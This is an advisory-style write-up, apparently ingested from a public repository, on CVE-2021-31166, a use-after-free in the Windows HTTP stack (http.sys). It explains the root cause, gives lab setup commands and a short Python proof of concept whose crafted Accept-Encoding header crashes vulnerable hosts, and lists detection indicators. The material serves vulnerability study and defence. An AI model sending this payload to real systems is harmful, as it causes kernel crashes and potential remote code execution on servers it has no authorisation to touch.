HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2021-31166)

Metadata

Affected Target

Summary

CVE-2021-31166 is a remote use-after-free vulnerability in the Windows HTTP Protocol Stack (http.sys) that is reachable via crafted HTTP headers. The public PoC sends a malformed Accept-Encoding header to trigger unsafe list handling in the kernel HTTP parser path. Successful exploitation can lead to system crash and has remote code execution impact according to Microsoft’s advisory.

Vulnerability Details

Root Cause

The vulnerable code path in http!UlpParseContentCoding mishandles list ownership for parsed content-coding entries. A local list is moved into the request structure, but stale list linkage can still be freed on another path, causing use-after-free / list corruption behavior.

Attack Vector

A remote, unauthenticated attacker sends an HTTP request containing a crafted Accept-Encoding value (for example with malformed comma-separated codings) to a Windows service that uses http.sys.

Impact

• Remote kernel crash/denial-of-service (e.g., KERNEL_SECURITY_CHECK_FAILURE).
• Potential remote code execution in the Windows kernel networking stack.
• Exposure of internet-facing Windows services that rely on http.sys.

Environment / Lab Setup

OS:          Attacker on Linux/macOS/Windows with Python 3
Target:      Authorized vulnerable Windows 10/Windows Server host using HTTP.sys
Attacker:    Any host with TCP connectivity to target HTTP service
Tools:       python3, requests

Setup Steps

1
2
3
4
5

cd pocs/network/2026-05-15_cve-2021-31166-http-sys-uaf
python3 -m venv .venv
source .venv/bin/activate
pip install requests
python3 cve-2021-31166.py --target 192.0.2.10:80

Proof of Concept

Step-by-Step Reproduction

1. Prepare an authorized vulnerable Windows system exposing an HTTP endpoint backed by http.sys.
2. From an attacker machine, run the PoC with --target <ip:port>.
3. The PoC sends a GET request with a crafted Accept-Encoding header.
4. Observe target instability/crash in vulnerable environments.

Exploit Code

See cve-2021-31166.py in this folder.

1
2
3
4
5
6

import requests

target = "192.0.2.10:80"
requests.get(f"http://{target}/", headers={
    "Accept-Encoding": "doar-e, ftw, imo, ,",
})

Expected Output

<Response [400]>

Screenshots / Evidence

• screenshots/ — add authorized lab packet capture, request trace, and crash evidence.

Detection & Indicators of Compromise

- Repeated malformed Accept-Encoding headers such as trailing empty codings
- Sudden HTTP service disruption followed by host bugcheck/reboot
- Kernel crash signatures involving HTTP!UlFreeUnknownCodingList / UlpParseAcceptEncoding

SIEM / IDS Rule (example):

Alert on inbound HTTP requests where Accept-Encoding contains malformed trailing
commas/empty coding tokens and correlate with HTTP service crashes.

Remediation

References

• CVE-2021-31166
• Microsoft Security Update Guide
• Source Repository — 0vercl0k/CVE-2021-31166
• Discovering and exploiting a use-after-free in HTTP Protocol Stack (tweet/thread reference from repository)

Notes

Auto-ingested from https://github.com/0vercl0k/CVE-2021-31166 on 2026-05-15.